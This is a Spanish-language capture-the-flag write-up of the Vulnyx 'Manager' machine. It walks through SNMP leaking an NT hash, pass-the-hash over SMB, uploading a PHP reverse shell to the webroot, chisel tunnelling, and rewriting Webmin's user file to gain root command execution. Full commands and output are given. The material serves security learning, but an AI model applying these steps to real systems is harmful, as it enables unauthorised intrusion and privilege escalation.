Vulnyx: Manager Writeup | Hard

Table of Contents

Vulnyx: Manager Writeup

Welcome to my detailed writeup of the hard difficulty machine “Manager” on Vulnyx. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1rustscan -a $TARGET --ulimit 5000 -g
2192.168.2.8 -> [22,4445,80]
 1nmap -p22,4445,80 -sCV $TARGET -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-02 15:02 CET
 3Nmap scan report for 192.168.2.8
 4Host is up (0.00039s latency).
 5
 6PORT     STATE SERVICE      VERSION
 722/tcp   open  ssh          OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
 8| ssh-hostkey:
 9|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
10|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
11|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
1280/tcp   open  http         nginx 1.18.0
13|_http-title: Site doesn't have a title (text/html).
14|_http-server-header: nginx/1.18.0
154445/tcp open  microsoft-ds
16| fingerprint-strings:
17|   SMBProgNeg:
18|     SMBr
19|_    "3DUfw
201 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
21SF-Port4445-TCP:V=7.94SVN%I=7%D=1/2%Time=67769C9C%P=x86_64-pc-linux-gnu%r(
22SF:SMBProgNeg,51,"\0\0\0M\xffSMBr\0\0\0\0\x80\0\xc0\0\0\0\0\0\0\0\0\0\0\0\
23SF:0\0\0@\x06\0\0\x01\0\x11\x07\0\x03\x01\0\x01\0\0\xfa\0\0\0\0\x01\0\0\0\
24SF:0\0p\0\0\0\0\0\0\0\0\0\0\0\0\0\x08\x08\0\x11\"3DUfw\x88");
25Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
26
27Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
28Nmap done: 1 IP address (1 host up) scanned in 64.23 seconds

UDP Enumeration

 1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn $TARGET -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-02 15:03 CET
 3Nmap scan report for 192.168.2.8
 4Host is up (0.00037s latency).
 5Not shown: 1492 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 7161/udp   open   snmp
 81346/udp  closed alta-ana-lm
 91457/udp  closed valisys-lm
1010000/udp open   ndmp
1127182/udp closed unknown
1233355/udp closed unknown
1341370/udp closed unknown
1454925/udp closed unknown
15MAC Address: 08:00:27:EC:52:4B (Oracle VirtualBox virtual NIC)
16
17Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds

Vemos varias cosas interesantes del escaneo inicial, primero por TCP vemos lo que parece ser un servicio SMB expuesto aunque por un puerto poco usual. Además por UDP vemos un servicio SNMP expuesto y un servicio NDMP que es un protocolo para controlar copias de seguridad entre varios espacios de almacenamiento en red.

SMB Enumeration (failed)

Podemos intentar enumerar el SMB haciendo uso de una sesión nula pero vemos que no tenemos suerte ni con smbmap ni con smbclient.

 1➜  scan smbclient -N -L \\192.168.2.8 -p 4445
 2session setup failed: NT_STATUS_LOGON_FAILURE
 3➜  scan smbmap -H 192.168.2.8 -u '' -p '' -P 4445
 4
 5    ________  ___      ___  _______   ___      ___       __         _______
 6   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
 7  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
 8   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
 9    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
10   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
11  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
12 -----------------------------------------------------------------------------
13     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
14                     https://github.com/ShawnDEvans/smbmap
15
16[*] Detected 0 hosts serving SMB

HTTP Enumeration

whatweb no nos reporta nada interesante sobre el servicio web.

1whatweb http://192.168.2.8
2http://192.168.2.8 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[192.168.2.8], nginx[1.18.0]

Así se ve el sitio web, parece que es una página web por defecto que creo que es la de nginx, no recuerdo bien ahora mismo, pero bueno, esto es irrelevante ya que sabemos que el servidor web es nginx. Write-up Image

Podemos probar a fuzzear recursos con feroxbuster pero no encontramos nada interesante.

 1feroxbuster -u http://192.168.2.8/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
 2
 3 ___  ___  __   __     __      __         __   ___
 4|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 5|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 6by Ben "epi" Risher 🤓                 ver: 2.10.3
 7───────────────────────────┬──────────────────────
 8 🎯  Target Url            │ http://192.168.2.8/
 9 🚀  Threads               │ 100
10 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌  Status Codes          │ All Status Codes!
12 💥  Timeout (secs)        │ 7
13 🦡  User-Agent            │ feroxbuster/2.10.3
14 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
15 🔎  Extract Links         │ true
16 🏁  HTTP methods          │ [GET]
17 🔃  Recursion Depth       │ 1
18 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁  Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22404      GET        7l       11w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23200      GET        7l       28w      186c http://192.168.2.8/
24[####################] - 18s   220547/220547  0s      found:1       errors:0
25[####################] - 17s   220547/220547  12698/s http://192.168.2.8/

También podemos intentar fuzzear por extensiones para intentar encontrar algún fichero interesante, pero no encontramos nada tampoco.

 1feroxbuster -u http://192.168.2.8/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -x php,html,txt,tar,gz
 2
 3 ___  ___  __   __     __      __         __   ___
 4|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 5|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 6by Ben "epi" Risher 🤓                 ver: 2.10.3
 7───────────────────────────┬──────────────────────
 8 🎯  Target Url            │ http://192.168.2.8/
 9 🚀  Threads               │ 100
10 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌  Status Codes          │ All Status Codes!
12 💥  Timeout (secs)        │ 7
13 🦡  User-Agent            │ feroxbuster/2.10.3
14 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
15 🔎  Extract Links         │ true
16 💲  Extensions            │ [php, html, txt, tar, gz]
17 🏁  HTTP methods          │ [GET]
18 🔃  Recursion Depth       │ 1
19 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
20───────────────────────────┴──────────────────────
21 🏁  Press [ENTER] to use the Scan Management Menu™
22──────────────────────────────────────────────────
23404      GET        7l       11w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
24200      GET        7l       28w      186c http://192.168.2.8/
25200      GET        7l       28w      186c http://192.168.2.8/index.html

Otra cosa que podríamos comprobar es fuzzear por subdominios pero para ello primero debemos comprobar que se está utilizando Virtual Hosting por detrás y no tenemos un dominio, por lo cual por ahora no podemos hacer nada mas.

SNMP Enumeration

Obtaining a valid community string w/onesixtyone

Con onesixtyone intenté conseguir alguna Community String para enumerar el servicio SNMP, probando dos de las listas mas comunes de communty strings, tuve suerte y encontré la community string crowley

1onesixtyone 192.168.2.8 -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt -w 100
2Scanning 1 hosts, 120 communities
3➜  content onesixtyone 192.168.2.8 -c /usr/share/wordlists/seclists/Discovery/SNMP/snmp-onesixtyone.txt -w 100
4Scanning 1 hosts, 3218 communities
5192.168.2.8 [crowley] Linux manager 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64

snmpbulkwalk it and search!

Ahora con snmpbulkwalk podemos enumerar la información que se transmite utilizando esta community string.

1snmpbulkwalk -v2c -c crowley 192.168.2.8 | less

Primero encontramos algo interesante, un dominio llamado management.nyx, así que lo vamos a añadir al /etc/hosts

1DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (120738) 0:20:07.38
2SNMPv2-MIB::sysContact.0 = STRING: root
3SNMPv2-MIB::sysName.0 = STRING: Manager
4SNMPv2-MIB::sysLocation.0 = STRING: management.nyx

También encontramos varios demonios en ejecución que me resultan interesantes, principalmente smbserver que es de la suite de impacket, esto me resulta interesante ya que se puede configurar para que se pueda iniciar sesión con el uso de unas credenciales “hardcodeadas” en la línea de ejecución del comando, y por SNMP se suele transmitir todos los “cmdline” de los demonios que están ejecución, es decir, la línea con las que han sido invocados.

HOST-RESOURCES-MIB::hrSWRunName.390 = STRING: "rsyslogd"
HOST-RESOURCES-MIB::hrSWRunName.395 = STRING: "systemd-logind"
HOST-RESOURCES-MIB::hrSWRunName.401 = STRING: "snmpd"
HOST-RESOURCES-MIB::hrSWRunName.403 = STRING: "cron"
HOST-RESOURCES-MIB::hrSWRunName.405 = STRING: "agetty"
HOST-RESOURCES-MIB::hrSWRunName.412 = STRING: "sh"
HOST-RESOURCES-MIB::hrSWRunName.416 = STRING: "sshd"
HOST-RESOURCES-MIB::hrSWRunName.421 = STRING: "smbserver.py"
HOST-RESOURCES-MIB::hrSWRunName.447 = STRING: "nginx"
HOST-RESOURCES-MIB::hrSWRunName.456 = STRING: "nginx"

También me llama la atención el php-fpm7.4, esto significa que el servidor nginx admite PHP por lo cual quizás existan algunos recursos PHP en algún lugar.

Y para terminar vemos un script en perl llamado miniserv.pl que no sabemos que es pero que nos podemos intuir que es una instancia de Webmin ya que este es el nombre del servidor web que se incluye.

HOST-RESOURCES-MIB::hrSWRunName.462 = STRING: "php-fpm7.4"
HOST-RESOURCES-MIB::hrSWRunName.463 = STRING: "php-fpm7.4"
HOST-RESOURCES-MIB::hrSWRunName.732 = STRING: "exim4"
HOST-RESOURCES-MIB::hrSWRunName.1110 = STRING: "kworker/0:1-events"
HOST-RESOURCES-MIB::hrSWRunName.1144 = STRING: "kworker/u2:0-flush-8:0"
HOST-RESOURCES-MIB::hrSWRunName.1165 = STRING: "kworker/0:2-ata_sff"
HOST-RESOURCES-MIB::hrSWRunName.1202 = STRING: "kworker/0:3-events"
HOST-RESOURCES-MIB::hrSWRunName.1212 = STRING: "miniserv.pl"

Un poco mas abajo encontramos lo que parece un hash NTLM (LM), podríamos intentar crackearlo o hacer Pass The Hash ya que también tenemos el usuario crow.

1HOST-RESOURCES-MIB::hrSWRunParameters.405 = STRING: "-o -p -- \\u --noclear tty1 linux"
2HOST-RESOURCES-MIB::hrSWRunParameters.412 = STRING: "-c /usr/local/bin/smbserver.py resource /var/www/html/manager_backup -username crow -hashes ':F9FE0310AF66C797A73CB60B1953FCD7' "
3HOST-RESOURCES-MIB::hrSWRunParameters.416 = ""
4HOST-RESOURCES-MIB::hrSWRunParameters.421 = STRING: "/usr/local/bin/smbserver.py resource /var/www/html/manager_backup -username crow -hashes :F9FE0310AF66C797A73CB60B1953FCD7 -smb2"

Un poco mas abajo podemos confirmar que existe una instancia de Webmin

1HOST-RESOURCES-MIB::hrSWRunParameters.1202 = ""
2HOST-RESOURCES-MIB::hrSWRunParameters.1212 = STRING: "/usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf"

Un poco mas abajo también podemos ver los paquetes instalados en el sistema y podemos ver que la versión de Webmin instalada es la 2.202

1HOST-RESOURCES-MIB::hrSWInstalledName.556 = STRING: "webmin_2.202_all"

Volviendo al hash encontrado, podemos intentar crackearlo con john pero no tenemos suerte.

1john -w=/usr/share/wordlists/rockyou.txt hash --format=NT
2Using default input encoding: UTF-8
3Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
4Warning: no OpenMP support for this hash type, consider --fork=4
5Press 'q' or Ctrl-C to abort, almost any other key for status
60g 0:00:00:00 DONE (2025-01-02 15:31) 0g/s 17929Kp/s 17929Kc/s 17929KC/s      markinho..*7¡Vamos!
7Session completed.

SMB Enumeration (authenticated)

Pass The Hash

Pero bueno, como tenemos el usuario podemos hacer Pass The Hash, podemos comprobar que el hash es válido con netexec

1nxc smb 192.168.2.8 -u crow -H 'F9FE0310AF66C797A73CB60B1953FCD7' --port 4445
2SMB         192.168.2.8     4445   ssuhkqAV         [*] NpzPONLO (name:ssuhkqAV) (domain:lcmJGdXI) (signing:False) (SMBv1:True)
3SMB         192.168.2.8     4445   ssuhkqAV         [+] lcmJGdXI\crow:F9FE0310AF66C797A73CB60B1953FCD7

Enumerate all!

Ahora con smbclient podemos enumerar los recursos y vemos que existe un recurso llamado RESOURCE con un comentario que pone backup

1smbclient -L \\192.168.2.8 -p 4445 -U 'crow%F9FE0310AF66C797A73CB60B1953FCD7' --pw-nt-hash
2
3	Sharename       Type      Comment
4	---------       ----      -------
5	IPC$            Disk
6	RESOURCE        Disk      backup
7Reconnecting with SMB1 for workgroup listing.
8do_connect: Connection to 192.168.2.8 failed (Error NT_STATUS_CONNECTION_REFUSED)
9Unable to connect with SMB1 -- no workgroup available

Enumerando el recurso IPC$ nos encontramos un directorio personal de un usuario donde podemos ver la flag de usuario.

1smbclient "\\\\192.168.2.8\\IPC$" -p 4445 -U 'crow%F9FE0310AF66C797A73CB60B1953FCD7' --pw-nt-hash
2Try "help" to get a list of possible commands.
3smb: \> dir
4  .selected_editor                   AN       66  Tue Aug  1 18:16:16 2023
5  .profile                           AN      807  Sun Jan 15 13:58:06 2023
6  .bash_history                      AN        0  Thu Jan  2 14:58:51 2025
7  .bash_logout                       AN      220  Sun Jan 15 13:58:06 2023
8  user.txt                           AN       33  Fri Nov 29 14:33:18 2024
9  .bashrc                            AN     3526  Sun Jan 15 13:58:06 2023

Podemos descargarnos esta flag y visualizarla.

1smb: \> get user.txt
2getting file \user.txt of size 33 as user.txt (4.0 KiloBytes/sec) (average 4.0 KiloBytes/sec)
1cat -p user.txt
2331f2b89261b006...

Fuera de esto no encontramos nada mas relevante, enumerando el recurso RESOURCE vemos que no hay ningún archivo.

1smbclient \\\\192.168.2.8\\RESOURCE -p 4445 -U 'crow%F9FE0310AF66C797A73CB60B1953FCD7' --pw-nt-hash
2Try "help" to get a list of possible commands.
3smb: \> dir
4  .                                   D     4096  Fri Nov 29 14:28:33 2024
5  ..                                  D     4096  Fri Nov 29 14:26:22 2024
6
7		148529400 blocks of size 1024. 14851044 blocks available

Arbitrary File Upload -> Foothold

Podemos probar a subir un archivo, y vemos que podemos perfectamente subir un archivo.

1smb: \> put hash
2putting file hash as \hash (4.6 kb/s) (average 4.6 kb/s)
3smb: \> dir
4  hash                               AN       33  Thu Jan  2 15:45:26 2025
5
6		148529400 blocks of size 1024. 14851044 blocks available

Ahora bien, ¿Dónde estamos subiendo este contenido?, podemos recordar lo que vimos a través del SNMP y lo estamos subiendo al directorio manager_backup en la ruta /var/www/html por lo cual, podríamos acceder a este fichero que hemos subido a través del servidor web.

1HOST-RESOURCES-MIB::hrSWRunParameters.421 = STRING: "/usr/local/bin/smbserver.py resource /var/www/html/manager_backup -username crow -hashes :F9FE0310AF66C797A73CB60B1953FCD7 -smb2"

Y efectivamente, aquí esta el archivo que hemos subido. Write-up Image

Como antes hemos visto que el servidor web interpreta contenido PHP, vamos a subir un archivo PHP malicioso para compartirnos una reverse shell.

Primero vamos a descargarnos la típica reverse shell de Pentest Monkey y a editarla poniendo la IP de nuestra máquina y el puerto por el que vamos a estar en escucha. Write-up Image

Vamos a cambiarla el nombre y a subirla.

1mv php-reverse-shell.php pointedshell.php
2smbclient \\\\192.168.2.8\\RESOURCE -p 4445 -U 'crow%F9FE0310AF66C797A73CB60B1953FCD7' --pw-nt-hash
3Try "help" to get a list of possible commands.
4smb: \> put pointedshell.php
5putting file pointedshell.php as \pointedshell.php (536.3 kb/s) (average 536.3 kb/s)

Una vez subida, vamos a ponernos en escucha con pwncat-cs por el puerto 443.

1pwncat-cs -lp 443

Y vaya, no se está interpretando el archivo PHP y se me está descargando, esto puede ser por varias razones, quizás está habilitado solo algunas extensiones PHP, quizás solo en algunos sitios. Write-up Image

Virtual Hosting Fuzzing

Esto hizo que me acordase que ahora tenemos el dominio management.nyx, así que podemos intentar encontrar subdominios y comprobar si por detrás hay Virtual Hosting.

Vemos al cabo de un rato que no encontramos nada, esto puede ser o bien porque no existe Virtual Hosting, o porque la página raíz es la misma (o tiene el mismo número de caracteres) y yo estoy filtrando por caracteres.

1wfuzz --hh=186 -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.management.nyx' http://management.nyx

Por lo cual vamos a filtrar en el recurso de la reverse shell que hemos subido por el número de caracteres que tiene la reverse shell, esto lo hago para saber si existe Virtual Hosting y en alguno de estos subdominios se interpreta el PHP o directamente se muestra el fichero en texto claro.

Vemos que tenemos un subdominio dev.management.nyx, lo añadimos al /etc/hosts, y además confirmamos que en este subdominio si que se interpreta el código PHP.

 1wfuzz --hh=5492 -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.management.nyx' http://management.nyx/manager_backup/pointedshell.php
 2 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
 3********************************************************
 4* Wfuzz 3.1.0 - The Web Fuzzer                         *
 5********************************************************
 6
 7Target: http://management.nyx/manager_backup/pointedshell.php
 8Total requests: 114441
 9
10=====================================================================
11ID           Response   Lines    Word       Chars       Payload
12=====================================================================
13
14000000019:   200        2 L      14 W       92 Ch       "dev"
15^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Ahora si, si cargamos el recurso desde el navegador… Write-up Image

Podemos ver que ganamos acceso como el usuario crow

1(remote) crow@manager:/$ id
2uid=1000(crow) gid=1000(crow) groups=1000(crow)

Privilege Escalation

Vemos que no existe otro usuario con una bash a parte de crow y root

1(remote) crow@manager:/home$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3crow:x:1000:1000:crow:/home/crow:/bin/bash

Reverse Port Forwarding w/chisel

Enumerando la máquina podemos ver que existe un puerto 10000/TCP abierto que no hemos podido ver antes. Anteriormente veíamos este puerto abierto pero por UDP.

 1(remote) crow@manager:/home$ ss -tulnp
 2Netid               State                Recv-Q               Send-Q                               Local Address:Port                                Peer Address:Port               Process
 3udp                 UNCONN               0                    0                                          0.0.0.0:68                                       0.0.0.0:*
 4udp                 UNCONN               0                    0                                          0.0.0.0:161                                      0.0.0.0:*
 5udp                 UNCONN               0                    0                                          0.0.0.0:10000                                    0.0.0.0:*
 6tcp                 LISTEN               0                    10                                       127.0.0.1:57895                                    0.0.0.0:*                   users:(("smbserver.py",pid=421,fd=5))
 7tcp                 LISTEN               0                    4096                                     127.0.0.1:10000                                    0.0.0.0:*
 8tcp                 LISTEN               0                    511                                        0.0.0.0:80                                       0.0.0.0:*                   users:(("nginx",pid=456,fd=6))
 9tcp                 LISTEN               0                    128                                        0.0.0.0:22                                       0.0.0.0:*
10tcp                 LISTEN               0                    20                                       127.0.0.1:25                                       0.0.0.0:*
11tcp                 LISTEN               0                    10                                       127.0.0.1:39577                                    0.0.0.0:*                   users:(("smbserver.py",pid=421,fd=4))
12tcp                 LISTEN               0                    5                                          0.0.0.0:4445                                     0.0.0.0:*                   users:(("smbserver.py",pid=421,fd=3))
13tcp                 LISTEN               0                    511                                           [::]:80                                          [::]:*                   users:(("nginx",pid=456,fd=7))
14tcp                 LISTEN               0                    20                                           [::1]:25                                          [::]:*

Entonces vamos a subir a la máquina víctima el binario de chisel utilizando la función upload interna que tiene pwncat-cs

1(remote) crow@manager:/tmp$
2(local) pwncat$ upload chisel
3./chisel ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 8.7/8.7 MB • 2.3 MB/s • 0:00:00
4[16:23:04] uploaded 8.65MiB in 4.05 seconds

En nuestra máquina de atacante, vamos a ponernos en escucha con chisel por el puerto 1234.

1/usr/share/chisel server -p 1234 --reverse
22025/01/02 16:23:38 server: Reverse tunnelling enabled
32025/01/02 16:23:38 server: Fingerprint sH4A1KPT1pJD+8nj/WuzW8pI1xc8ILso0o3mDa5vnAc=
42025/01/02 16:23:38 server: Listening on http://0.0.0.0:1234

Y para mi sorpresa, en la máquina atacante obtenemos el siguiente error.

1(remote) crow@manager:/tmp$ ./chisel 192.168.2.9:1234 10000:127.0.0.1:10000
2Segmentation fault

Después de probar un rato me di cuenta de lo siguiente…

1md5sum chisel
2ed8b9d38fe272f2692b47292e74a0352  chisel
1md5sum chisel
2963ec05a4084469f5397ae465fd3516f  chisel

Por lo cual por alguna razón (primera vez que me pasa) no se está transmitiendo bien los archivos utilizando pwncat-cs.

Vamos a subir el chisel pero esta vez vamos a compartirlo por el puerto 8081 utilizando el módulo http.server de python.

1python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

Y ahora sí, en la máquina víctima tenemos el binario de chisel

 1(remote) crow@manager:/tmp$ wget http://192.168.2.9:8081/chisel
 2--2025-01-02 17:00:23--  http://192.168.2.9:8081/chisel
 3Connecting to 192.168.2.9:8081... connected.
 4HTTP request sent, awaiting response... 200 OK
 5Length: 8654848 (8.3M) [application/octet-stream]
 6Saving to: 'chisel'
 7
 8chisel                                                     100%[======================================================================================================================================>]   8.25M  --.-KB/s    in 0.06s
 9
102025-01-02 17:00:23 (129 MB/s) - 'chisel' saved [8654848/8654848]
11
12(remote) crow@manager:/tmp$ chmod +x chisel
13(remote) crow@manager:/tmp$ ./chisel
14
15  Usage: chisel [command] [--help]
16
17  Version: 1.9.1 (go1.21.0)
18
19  Commands:
20    server - runs chisel in server mode
21    client - runs chisel in client mode
22
23  Read more:
24    https://github.com/jpillora/chisel

Nos ponemos en escucha por el puerto 1234 con chisel en nuestra máquina de atacante.

1/usr/share/chisel server -p 1234 --reverse
22025/01/02 17:00:54 server: Reverse tunnelling enabled
32025/01/02 17:00:54 server: Fingerprint WPwWfwckYNO8pJ9Q/l3++eSyRhcdUI2d2ypVLOYtr5c=
42025/01/02 17:00:54 server: Listening on http://0.0.0.0:1234

Ahora en la máquina víctima nos compartimos el puerto 10000 de la máquina víctima para que se convierta en el puerto 10000 de nuestra máquina local.

1./chisel client 192.168.2.9:1234 R:10000:127.0.0.1:10000
22025/01/02 17:01:24 client: Connecting to ws://192.168.2.9:1234
32025/01/02 17:01:24 client: Connected (Latency 1.21336ms)

Ahora podemos comprobar que este puerto está en escucha en nuestra máquina y podemos hacer un pequeño escaneo con nmap para saber que servicio corresponde a este puerto.

1netstat -tulnp
2(Not all processes could be identified, non-owned process info
3 will not be shown, you would have to be root to see it all.)
4Active Internet connections (only servers)
5Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
6tcp        0      0 127.0.0.1:42263         0.0.0.0:*               LISTEN      -
7tcp6       0      0 :::1234                 :::*                    LISTEN      345310/chisel
8tcp6       0      0 :::10000                :::*                    LISTEN      345310/chisel
9udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

El escaneo reporta que es un servicio web y vemos que el servidor es MiniServ por lo cual probablemente es la instancia de Webmin que hemos detectado antes.

 1nmap -p10000 -sCV 127.0.0.1
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-02 17:02 CET
 3Nmap scan report for localhost (127.0.0.1)
 4Host is up (0.00019s latency).
 5
 6PORT      STATE SERVICE               VERSION
 710000/tcp open  ssl/snet-sensor-mgmt?
 8| fingerprint-strings:
 9|   GetRequest, HTTPOptions:
10|     HTTP/1.0 200 Document follows
11|     Date: Thu, 2 Jan 2025 16:02:18 GMT
12|     Server: MiniServ
13|     Connection: close
14|     Auth-type: auth-required=1
15|     Set-Cookie: redirect=1; path=/; secure; httpOnly
16|     Set-Cookie: testing=1; path=/; secure; httpOnly
17|     X-Frame-Options: SAMEORIGIN
18|     Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; frame-src 'self'; child-src 'self'
19|     X-Content-Type-Options: nosniff
20|     X-no-links: 1
21|     Content-type: text/html; Charset=UTF-8
22|     <!DOCTYPE HTML>
23|     <html data-bgs="gainsboro" class="session_login">
24|     <head>
25|     <meta name="color-scheme" content="only light">

Enumerating Webmin

whatweb no nos reporta nada interesante.

1whatweb http://127.0.0.1:10000
2http://127.0.0.1:10000 [200 OK] Country[RESERVED][ZZ], HTTPServer[MiniServ], IP[127.0.0.1], Script, Title[200 &mdash; Document follows]

Aquí tenemos el panel de autenticación de Webmin Write-up Image

No tenemos credenciales para acceder, así que vamos a seguir enumerando.

Updating Webmin password (Abusing Misconfigured Permissions)

Según esta pregunta en StackOverFlow parece ser que Webmin utiliza un archivo en /etc/webmin/miniserv.users para dictar los usuarios de Webmin, al comprobar este archivo vemos que el único usuario habilitado es crow.

1(remote) crow@manager:/etc/webmin$ cat miniserv.users
2crow:x:1000

Según la documentación se utiliza la contraseña de UNIX que tiene este usuario, pero vemos un pequeño fallo de seguridad, y es que podemos escribir este archivo.

1(remote) crow@manager:/etc/webmin$ ls -la miniserv.users
2-rw----rw- 1 root bin 12 Nov 29 14:25 miniserv.users

Esto significa que podemos generar manualmente un hash que corresponda a una contraseña que sepamos y escribir este hash en el archivo de configuración miniserv.users por lo cual podríamos cambiar la contraseña de crow.

Primero generamos la contraseña.

1(remote) crow@manager:/etc/webmin$ openssl passwd pointed
2BYxQSqGDPDT9I

Y ahora modificamos el archivo de configuración.

1(remote) crow@manager:/etc/webmin$ cat miniserv.users
2crow:BYxQSqGDPDT9I:1000

Y ahora sí que podemos iniciar sesión en la instancia de Webmin Write-up Image

root access to Webmin

¿Y ahora qué?

Tampoco tenemos muchas opciones ya que somos un usuario poco privilegiado. Leyendo la documentación podemos ver que por defecto existe un usuario llamado root o admin que tiene acceso a todos los módulos de Webmin, entonces mi objetivo ahora mismo es ganar acceso como un usuario privilegiado en el Webmin.

Además, la instancia de Webmin la está ejecutando el usuario root. Write-up Image

Ejecutando pspy64 podemos ver que cada X tiempo se ejecuta un script que reinicia el servicio Webmin, esto nos viene perfecto ya que como tenemos acceso al archivo de configuración miniserv.users podríamos añadir al usuario root con el hash que hemos generado anteriormente y entonces cuando el servicio se reinicie podríamos iniciar sesión como root.

Modificamos el archivo miniserv.users y añadimos al usuario root

1(remote) crow@manager:/etc/webmin$ cat miniserv.users
2crow:BYxQSqGDPDT9I:1000
3root:BYxQSqGDPDT9I:1000

Y ahora si iniciamos sesión como root:pointedWrite-up Image

Investigando un poco las opciones de Webmin (nunca lo había usado), vi la siguiente opción. Write-up Image

De esta forma podemos ejecutar comandos a nivel de sistema. Write-up Image

Para mayor comodidad me puse en escucha con pwncat-cs por el puerto 443 y me envié una reverse shell.

1pwncat-cs -lp 443

Nos enviamos la reverse shell. Write-up Image

 117:33:27] received connection from 192.168.2.8:45732                                                                                                                                                                           bind.py:84
 2[17:33:28] 192.168.2.8:45732: registered new host w/ db                                                                                                                                                                     manager.py:957
 3(local) pwncat$
 4(remote) root@manager:/root# id
 5uid=0(root) gid=0(root) groups=0(root)
 6(remote) root@manager:/root# ls -la
 7total 32
 8drwx------  4 root root 4096 Nov 29 14:31 .
 9drwxr-xr-x 18 root root 4096 Nov 29 11:52 ..
10lrwxrwxrwx  1 root root    9 Apr 23  2023 .bash_history -> /dev/null
11-rw-------  1 root root 3526 Jan 15  2023 .bashrc
12drwx------  3 root root 4096 Nov 29 14:18 .gnupg
13drwxr-xr-x  3 root root 4096 Nov 29 14:30 .local
14-rw-------  1 root root  161 Jul  9  2019 .profile
15-rw-r--r--  1 root root   66 Nov 28  2023 .selected_editor
16-r--------  1 root root   33 Nov 29 14:31 root.txt

Podemos leer la flag de root

1(remote) root@manager:/root# cat root.txt
2a63b115640f6466...

¡Y ya estaría!

Happy Hacking! 🚀

#Vulnyx   #Manager   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Onesixtyone   #SNMP Enumeration   #Information Disclosure   #SMB Enumeration   #Pass the Hash   #Arbitrary File Upload   #Virtual Hosting Fuzzing   #Reverse Port Forwarding   #Enumerating Webmin   #Updating Webmin Password   #Misconfigured Webmin Configuration File